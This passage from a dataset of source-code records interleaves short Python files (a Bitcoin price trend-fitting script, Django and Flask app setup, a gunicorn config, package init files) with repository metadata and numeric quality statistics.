y_fit_1d = np.poly1d(y_fit) # 将多项式系数转换为多项式
der = np.polyder(y_fit_1d, 1)
der1 = der(x)
trade = 0
for i in der1:
if abs(i) <= 0.3:
trade += 1
print(trade)
print(trade/(current_day - start_day))
# plot
plt.plot(x, der1, 'c', label='der1')
plt.xlabel('Date')
plt.ylabel('USD')
plt.legend()
plt.title('trend fitting')
plt.show()
return trade/(current_day - start_day)
def bit_probability(start_day = 0 ,current_day = 1825):
pd_reader = pd.read_csv("./BCHAIN-MKPRU.csv")
x = [x for x in range(start_day, current_day+1)]
y = pd_reader['Value'][start_day:current_day+1]
if pd_reader['Value'][start_day].astype(int) == -2147483648:
pd_reader['Value'][start_day] = pd_reader['Value'][start_day-1]
null = -2147483648
for i in range(start_day, current_day + 1):
if y[i] <= 0 or y[i] > 10000 or y[i].astype(int) == null:
y[i] = y[i - 1]
y_fit = np.polyfit(x, y, 40)
y_fit_1d = np.poly1d(y_fit) # 将多项式系数转换为多项式
der = np.polyder(y_fit_1d, 1)
der1 = der(x)
trade = 0
for i in der1:
if abs(i) <= 1:
trade += 1
print(trade)
print(trade/(current_day - start_day))
# plot
plt.plot(x, der1, 'c', label='Fitting Curve')
plt.xlabel('Date')
plt.ylabel('Value')
plt.legend()
plt.title('trend fitting')
plt.show()
return trade/(current_day - start_day)
| 30.15942
| 77
| 0.595387
| 339
| 2,081
| 3.489676
| 0.20059
| 0.121724
| 0.076078
| 0.091293
| 0.894336
| 0.797971
| 0.716822
| 0.65765
| 0.608622
| 0.608622
| 0
| 0.06246
| 0.246036
| 2,081
| 68
| 78
| 30.602941
| 0.691523
| 0.016819
| 0
| 0.666667
| 0
| 0
| 0.071569
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.035088
| false
| 0
| 0.052632
| 0
| 0.122807
| 0.070175
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
0851f8f2f09ac90b0ac748816a5ed165d95a1854
| 43
|
py
|
Python
|
pythonteste - aulas/aula06b.py
|
freitasSystemOutPrint/Python3
|
e5e88fbe8e7e0c5472573d2c901844270385194b
|
[
"MIT"
] | 1
|
2020-06-02T07:31:16.000Z
|
2020-06-02T07:31:16.000Z
|
pythonteste - aulas/aula06b.py
|
freitasSystemOutPrint/Python3
|
e5e88fbe8e7e0c5472573d2c901844270385194b
|
[
"MIT"
] | null | null | null |
pythonteste - aulas/aula06b.py
|
freitasSystemOutPrint/Python3
|
e5e88fbe8e7e0c5472573d2c901844270385194b
|
[
"MIT"
] | null | null | null |
n = input('D valor: ')
print(n. isalpha())
| 21.5
| 23
| 0.581395
| 7
| 43
| 3.571429
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.162791
| 43
| 2
| 24
| 21.5
| 0.694444
| 0
| 0
| 0
| 0
| 0
| 0.204545
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
f239b57a702e2965066bf102cfec37cd368a59f6
| 102
|
py
|
Python
|
Website/bookManager/apps.py
|
danielrugutt/ruguttlibrary
|
eb5780937951a027e2306fd0a9724bfef9ce7702
|
[
"MIT"
] | null | null | null |
Website/bookManager/apps.py
|
danielrugutt/ruguttlibrary
|
eb5780937951a027e2306fd0a9724bfef9ce7702
|
[
"MIT"
] | null | null | null |
Website/bookManager/apps.py
|
danielrugutt/ruguttlibrary
|
eb5780937951a027e2306fd0a9724bfef9ce7702
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class BookmanagerConfig(AppConfig):
name = 'bookManager'
| 17
| 36
| 0.735294
| 10
| 102
| 7.5
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.196078
| 102
| 5
| 37
| 20.4
| 0.914634
| 0
| 0
| 0
| 0
| 0
| 0.113402
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f24f3b2c59305ea8445fe9f76fda27a9a6bd1176
| 93
|
py
|
Python
|
python/testData/intentions/joinIfBinary_after.py
|
truthiswill/intellij-community
|
fff88cfb0dc168eea18ecb745d3e5b93f57b0b95
|
[
"Apache-2.0"
] | 2
|
2019-04-28T07:48:50.000Z
|
2020-12-11T14:18:08.000Z
|
python/testData/intentions/joinIfBinary_after.py
|
truthiswill/intellij-community
|
fff88cfb0dc168eea18ecb745d3e5b93f57b0b95
|
[
"Apache-2.0"
] | 173
|
2018-07-05T13:59:39.000Z
|
2018-08-09T01:12:03.000Z
|
python/testData/intentions/joinIfBinary_after.py
|
truthiswill/intellij-community
|
fff88cfb0dc168eea18ecb745d3e5b93f57b0b95
|
[
"Apache-2.0"
] | 2
|
2020-03-15T08:57:37.000Z
|
2020-04-07T04:48:14.000Z
|
if value is not None and (not validate_uint(value) or value <= self.begin):
print value
| 46.5
| 76
| 0.709677
| 16
| 93
| 4.0625
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.204301
| 93
| 2
| 77
| 46.5
| 0.878378
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
f25f1d27f2dcecf8136a5f1074e95739f9700b79
| 128
|
py
|
Python
|
blog/app/controller/home/__init__.py
|
henrY2Young/flask-jwt
|
f1c47efee7fd7f271c02172371c2d9cec8adde5d
|
[
"MIT"
] | null | null | null |
blog/app/controller/home/__init__.py
|
henrY2Young/flask-jwt
|
f1c47efee7fd7f271c02172371c2d9cec8adde5d
|
[
"MIT"
] | null | null | null |
blog/app/controller/home/__init__.py
|
henrY2Young/flask-jwt
|
f1c47efee7fd7f271c02172371c2d9cec8adde5d
|
[
"MIT"
] | null | null | null |
from flask import Flask
from flask import Blueprint
app = Flask(__name__)
home = Blueprint('home', __name__)
from .home import *
| 25.6
| 34
| 0.773438
| 18
| 128
| 5.055556
| 0.388889
| 0.197802
| 0.32967
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.140625
| 128
| 5
| 35
| 25.6
| 0.827273
| 0
| 0
| 0
| 0
| 0
| 0.031008
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.6
| 0
| 0.6
| 0.4
| 1
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f299730f67f147315aa6e9046fda5a053b175a6e
| 64
|
py
|
Python
|
explorer/uimethods.py
|
jehiah/legislator
|
22c3ea751f1ee642fc60f49349a425d5bfcb3c25
|
[
"MIT"
] | null | null | null |
explorer/uimethods.py
|
jehiah/legislator
|
22c3ea751f1ee642fc60f49349a425d5bfcb3c25
|
[
"MIT"
] | null | null | null |
explorer/uimethods.py
|
jehiah/legislator
|
22c3ea751f1ee642fc60f49349a425d5bfcb3c25
|
[
"MIT"
] | null | null | null |
from lib.pretty_date import pretty_timedelta # pyflakes.ignore
| 32
| 63
| 0.84375
| 9
| 64
| 5.777778
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.109375
| 64
| 1
| 64
| 64
| 0.912281
| 0.234375
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
4b3277724a8f4e57ca90dd133d99f9e8d1237d27
| 924
|
py
|
Python
|
account/models.py
|
alokknight/smartserve
|
b52504525902f0ef72251c553156d6ff7e5f540c
|
[
"MIT"
] | 2
|
2022-01-02T20:53:33.000Z
|
2022-01-06T16:17:32.000Z
|
account/models.py
|
alokknight/smartserve
|
b52504525902f0ef72251c553156d6ff7e5f540c
|
[
"MIT"
] | null | null | null |
account/models.py
|
alokknight/smartserve
|
b52504525902f0ef72251c553156d6ff7e5f540c
|
[
"MIT"
] | null | null | null |
from django.db import models
from django.contrib.auth.models import User,auth
# class Profile(models.Model):
# skill=models.ForeignKey(Skill,on_delete=models.CASCADE)
# work_link=models.ForeignKey(WorkLink,on_delete=models.CASCADE)
# dp=models.ImageField(upload_to="pics", height_field=None, width_field=None, max_length=None)
# username=User.username
# name=str(User.first_name)+str(User.last_name)
# email=User.email
# phone=models.BigIntegerField(default="")
# profession=models.CharField(default="", max_length=50)
# experience=models.CharField(default="", max_length=50)
# rate=models.IntegerField(default="")
# eng_level=models.CharField(default="",max_length=10)
# completedProjectNo=models.IntegerField(default="")
# availability=models.IntegerField(default="")
# bio=models.IntegerField(default="")
# def __str__(self):
# return self.username
| 38.5
| 98
| 0.72619
| 112
| 924
| 5.839286
| 0.482143
| 0.055046
| 0.152905
| 0.114679
| 0.148318
| 0.100917
| 0
| 0
| 0
| 0
| 0
| 0.007481
| 0.132035
| 924
| 23
| 99
| 40.173913
| 0.80798
| 0.873377
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
4b39abcd276ac26c7c3105c2b83c1a9533703930
| 241
|
py
|
Python
|
tests/test_empty_tree/test_empty_tree.py
|
rricard/dxr
|
e5449d9e48980c7ea4c66b86dca9a4be8851999b
|
[
"MIT"
] | 1
|
2019-09-03T11:13:07.000Z
|
2019-09-03T11:13:07.000Z
|
tests/test_empty_tree/test_empty_tree.py
|
tsharman/dxr
|
b05efe1fe96eb9aaab3b53f1410af9ed7db919f4
|
[
"MIT"
] | null | null | null |
tests/test_empty_tree/test_empty_tree.py
|
tsharman/dxr
|
b05efe1fe96eb9aaab3b53f1410af9ed7db919f4
|
[
"MIT"
] | 1
|
2019-09-03T11:13:10.000Z
|
2019-09-03T11:13:10.000Z
|
from dxr.testing import DxrInstanceTestCase
class TestEmptyTree(DxrInstanceTestCase):
"""Tests for empty source tree"""
def test_empty(self):
"""Test empty"""
self.found_nothing('path:*.*', is_case_sensitive=False)
| 26.777778
| 63
| 0.697095
| 27
| 241
| 6.074074
| 0.814815
| 0.109756
| 0.158537
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.178423
| 241
| 8
| 64
| 30.125
| 0.828283
| 0.157676
| 0
| 0
| 0
| 0
| 0.041667
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.25
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
4b3b1a848204720abf8ecfc68df0c8442bd81263
| 83
|
py
|
Python
|
functional/lambda.py
|
sammffl/pythonPractice
|
aab8e8e3524a53c8f82838af2a2bd96d6ea7a3a5
|
[
"MIT"
] | 2
|
2016-06-01T05:51:46.000Z
|
2017-06-11T12:21:26.000Z
|
functional/lambda.py
|
sammffl/pythonPractice
|
aab8e8e3524a53c8f82838af2a2bd96d6ea7a3a5
|
[
"MIT"
] | null | null | null |
functional/lambda.py
|
sammffl/pythonPractice
|
aab8e8e3524a53c8f82838af2a2bd96d6ea7a3a5
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# lambda 只能有一个表达式
print map(lambda x: x * x, range(1, 11))
| 20.75
| 40
| 0.590361
| 14
| 83
| 3.5
| 0.785714
| 0.081633
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.059701
| 0.192771
| 83
| 3
| 41
| 27.666667
| 0.671642
| 0.445783
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
4b670ed8834de2de18fdbb2d84da97d6600f763b
| 70
|
py
|
Python
|
src/utils/auth.py
|
SudodevsHQ/betsushi
|
88f5cc1888293d4a26bcf1b0cf2908ff7e53e8ee
|
[
"WTFPL"
] | 3
|
2021-12-05T09:52:16.000Z
|
2022-02-09T09:53:19.000Z
|
src/utils/auth.py
|
SudodevsHQ/betsushi
|
88f5cc1888293d4a26bcf1b0cf2908ff7e53e8ee
|
[
"WTFPL"
] | null | null | null |
src/utils/auth.py
|
SudodevsHQ/betsushi
|
88f5cc1888293d4a26bcf1b0cf2908ff7e53e8ee
|
[
"WTFPL"
] | null | null | null |
import firebase_admin
firebase_app = firebase_admin.initialize_app()
| 17.5
| 46
| 0.857143
| 9
| 70
| 6.222222
| 0.555556
| 0.464286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.085714
| 70
| 3
| 47
| 23.333333
| 0.875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
4b7cccaf9354ca522effb95134e58b84924a0e02
| 175
|
py
|
Python
|
Labs/Wave_3_labs/for_loop_range.py
|
Babawale/WeJapaInternship
|
0a8ada12c08d5129934868b0e2c80d72f3045ed0
|
[
"MIT"
] | null | null | null |
Labs/Wave_3_labs/for_loop_range.py
|
Babawale/WeJapaInternship
|
0a8ada12c08d5129934868b0e2c80d72f3045ed0
|
[
"MIT"
] | null | null | null |
Labs/Wave_3_labs/for_loop_range.py
|
Babawale/WeJapaInternship
|
0a8ada12c08d5129934868b0e2c80d72f3045ed0
|
[
"MIT"
] | null | null | null |
# Write a for loop using range() to print out multiples of 5 up to 30 inclusive
for mult in range(5, 31, 5): # prints out multiples of 5 up to 30 inclusive
print(mult)
| 25
| 79
| 0.702857
| 34
| 175
| 3.617647
| 0.558824
| 0.195122
| 0.227642
| 0.243902
| 0.487805
| 0.487805
| 0.487805
| 0.487805
| 0
| 0
| 0
| 0.074627
| 0.234286
| 175
| 6
| 80
| 29.166667
| 0.843284
| 0.697143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
4b7fbb6ecbce4f79816ad966123e1f525e64e7ef
| 89
|
py
|
Python
|
primitives/tf_encrypted/primitives/__init__.py
|
wqruan/tf-encrypted
|
50ee4ae3ba76b7c1f70a90e18f875191adea0a07
|
[
"Apache-2.0"
] | 825
|
2019-04-18T09:21:32.000Z
|
2022-03-30T05:55:26.000Z
|
primitives/tf_encrypted/primitives/__init__.py
|
wqruan/tf-encrypted
|
50ee4ae3ba76b7c1f70a90e18f875191adea0a07
|
[
"Apache-2.0"
] | 354
|
2019-04-18T08:42:40.000Z
|
2022-03-31T18:06:31.000Z
|
primitives/tf_encrypted/primitives/__init__.py
|
wqruan/tf-encrypted
|
50ee4ae3ba76b7c1f70a90e18f875191adea0a07
|
[
"Apache-2.0"
] | 161
|
2019-05-02T16:43:31.000Z
|
2022-03-31T01:35:03.000Z
|
from . import paillier
from . import sodium
__all__ = [
"paillier",
"sodium",
]
| 11.125
| 22
| 0.617978
| 9
| 89
| 5.666667
| 0.555556
| 0.392157
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.258427
| 89
| 7
| 23
| 12.714286
| 0.772727
| 0
| 0
| 0
| 0
| 0
| 0.157303
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
4b816141921d160b4efbda4422e5bf1ea081dc49
| 56
|
py
|
Python
|
tests/components/debugpy/__init__.py
|
tbarbette/core
|
8e58c3aa7bc8d2c2b09b6bd329daa1c092d52d3c
|
[
"Apache-2.0"
] | 30,023
|
2016-04-13T10:17:53.000Z
|
2020-03-02T12:56:31.000Z
|
tests/components/debugpy/__init__.py
|
jagadeeshvenkatesh/core
|
1bd982668449815fee2105478569f8e4b5670add
|
[
"Apache-2.0"
] | 31,101
|
2020-03-02T13:00:16.000Z
|
2022-03-31T23:57:36.000Z
|
tests/components/debugpy/__init__.py
|
jagadeeshvenkatesh/core
|
1bd982668449815fee2105478569f8e4b5670add
|
[
"Apache-2.0"
] | 11,956
|
2016-04-13T18:42:31.000Z
|
2020-03-02T09:32:12.000Z
|
"""Tests for the Remote Python Debugger integration."""
| 28
| 55
| 0.75
| 7
| 56
| 6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 56
| 1
| 56
| 56
| 0.857143
| 0.875
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
298f4ba658e55de12264c1979b9585adc7c851b6
| 578
|
py
|
Python
|
release/stubs.min/Rhino/DocObjects/__init___parts/Font.py
|
YKato521/ironpython-stubs
|
b1f7c580de48528490b3ee5791b04898be95a9ae
|
[
"MIT"
] | null | null | null |
release/stubs.min/Rhino/DocObjects/__init___parts/Font.py
|
YKato521/ironpython-stubs
|
b1f7c580de48528490b3ee5791b04898be95a9ae
|
[
"MIT"
] | null | null | null |
release/stubs.min/Rhino/DocObjects/__init___parts/Font.py
|
YKato521/ironpython-stubs
|
b1f7c580de48528490b3ee5791b04898be95a9ae
|
[
"MIT"
] | null | null | null |
class Font(object):
# no doc
@staticmethod
def AvailableFontFaceNames():
""" AvailableFontFaceNames() -> Array[str] """
pass
Bold = property(lambda self: object(), lambda self, v: None, lambda self: None)
"""Get: Bold(self: Font) -> bool
"""
FaceName = property(lambda self: object(), lambda self, v: None, lambda self: None)
"""Get: FaceName(self: Font) -> str
"""
Italic = property(lambda self: object(), lambda self, v: None, lambda self: None)
"""Get: Italic(self: Font) -> bool
"""
| 20.642857
| 88
| 0.570934
| 63
| 578
| 5.238095
| 0.333333
| 0.272727
| 0.163636
| 0.218182
| 0.509091
| 0.509091
| 0.509091
| 0.509091
| 0.509091
| 0.509091
| 0
| 0
| 0.275087
| 578
| 27
| 89
| 21.407407
| 0.78759
| 0.081315
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.142857
| false
| 0.142857
| 0
| 0
| 0.714286
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 4
|
29932d43d9c563fe9a11e18a17f182b10dbfa67d
| 165
|
py
|
Python
|
src/graphics/__init__.py
|
berkerdemoglu/Chess
|
5d0d03112502596fbf3d0c1688350b9abc5bc788
|
[
"CC0-1.0"
] | 1
|
2021-06-27T18:16:53.000Z
|
2021-06-27T18:16:53.000Z
|
src/graphics/__init__.py
|
berkerdemoglu/Chess
|
5d0d03112502596fbf3d0c1688350b9abc5bc788
|
[
"CC0-1.0"
] | null | null | null |
src/graphics/__init__.py
|
berkerdemoglu/Chess
|
5d0d03112502596fbf3d0c1688350b9abc5bc788
|
[
"CC0-1.0"
] | null | null | null |
from .renderable import Renderable
from .display import Display
from graphics.graphics_constants import (
SCREEN_PROPERTIES, WINDOW_TITLE,
BACKGROUND_COLOR, FPS
)
| 23.571429
| 41
| 0.836364
| 20
| 165
| 6.7
| 0.65
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115152
| 165
| 6
| 42
| 27.5
| 0.917808
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
29a9caba37cc61633417bacbd1830e714a8781c9
| 83
|
py
|
Python
|
soko/apps.py
|
samwelkanda/soko
|
7e36fa60b6c36a342aafb5868c843e00e54be7c1
|
[
"MIT"
] | null | null | null |
soko/apps.py
|
samwelkanda/soko
|
7e36fa60b6c36a342aafb5868c843e00e54be7c1
|
[
"MIT"
] | null | null | null |
soko/apps.py
|
samwelkanda/soko
|
7e36fa60b6c36a342aafb5868c843e00e54be7c1
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class SokoConfig(AppConfig):
name = 'soko'
| 13.833333
| 33
| 0.73494
| 10
| 83
| 6.1
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.180723
| 83
| 5
| 34
| 16.6
| 0.897059
| 0
| 0
| 0
| 0
| 0
| 0.048193
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
29b6b3a8c21b7bf9bb3b180d0a260fd3a6a12c77
| 257
|
py
|
Python
|
conf/gunicorn.py
|
pbillerot/alexa-flask
|
11296465391c2944ed94463de32d7c4c183e5be5
|
[
"MIT"
] | null | null | null |
conf/gunicorn.py
|
pbillerot/alexa-flask
|
11296465391c2944ed94463de32d7c4c183e5be5
|
[
"MIT"
] | null | null | null |
conf/gunicorn.py
|
pbillerot/alexa-flask
|
11296465391c2944ed94463de32d7c4c183e5be5
|
[
"MIT"
] | null | null | null |
command = '/home/billerot/Git/alexa-flask/venv/bin/gunicorn'
pythonpath = '/home/billerot/Git/alexa-flask'
workers = 3
user = 'billerot'
bind = '0.0.0.0:8088'
logconfig = "/home/billerot/Git/alexa-flask/conf/logging.conf"
capture_output = True
timeout = 90
| 28.555556
| 62
| 0.7393
| 39
| 257
| 4.846154
| 0.615385
| 0.190476
| 0.238095
| 0.31746
| 0.396825
| 0
| 0
| 0
| 0
| 0
| 0
| 0.04721
| 0.093385
| 257
| 8
| 63
| 32.125
| 0.763949
| 0
| 0
| 0
| 0
| 0
| 0.568093
| 0.490272
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
29d6480ab8c64090021253a39331e4e957881097
| 230
|
py
|
Python
|
projrot_io/__init__.py
|
mobergd/interfaces
|
82705d2173b9d213684da80913ec0593d30cdbe1
|
[
"Apache-2.0"
] | null | null | null |
projrot_io/__init__.py
|
mobergd/interfaces
|
82705d2173b9d213684da80913ec0593d30cdbe1
|
[
"Apache-2.0"
] | null | null | null |
projrot_io/__init__.py
|
mobergd/interfaces
|
82705d2173b9d213684da80913ec0593d30cdbe1
|
[
"Apache-2.0"
] | null | null | null |
"""
MESS interface writer and readers
"""
from projrot_io.writer import rpht_input
from projrot_io.writer import rotors
from projrot_io.reader import rpht_output
__all__ = [
'rpht_input',
'rotors',
'rpht_output'
]
| 15.333333
| 41
| 0.730435
| 31
| 230
| 5.064516
| 0.483871
| 0.210191
| 0.248408
| 0.242038
| 0.318471
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.182609
| 230
| 14
| 42
| 16.428571
| 0.835106
| 0.143478
| 0
| 0
| 0
| 0
| 0.143617
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.375
| 0
| 0.375
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
29ed26d4d70682195ce6762fb056e6d9025a7053
| 68
|
py
|
Python
|
doc/sphinxext/__init__.py
|
nno/PyMVPA
|
a125596bf81b8e9848768852f697bd3cff9674c4
|
[
"MIT"
] | 227
|
2015-01-17T20:13:54.000Z
|
2022-01-26T21:14:30.000Z
|
doc/sphinxext/__init__.py
|
nno/PyMVPA
|
a125596bf81b8e9848768852f697bd3cff9674c4
|
[
"MIT"
] | 364
|
2015-01-05T21:55:09.000Z
|
2021-09-09T20:37:55.000Z
|
doc/sphinxext/__init__.py
|
nno/PyMVPA
|
a125596bf81b8e9848768852f697bd3cff9674c4
|
[
"MIT"
] | 111
|
2015-01-06T19:26:41.000Z
|
2022-01-26T21:14:31.000Z
|
"""Dummy module groupping our collection of 3rd party extensions"""
| 34
| 67
| 0.779412
| 9
| 68
| 5.888889
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016949
| 0.132353
| 68
| 1
| 68
| 68
| 0.881356
| 0.897059
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
29ffddd70e3b2ff8948224082118d73e69d173aa
| 454
|
py
|
Python
|
gooch_maf_tools/main.py
|
kotoroshinoto/TCGA_MAF_Analysis
|
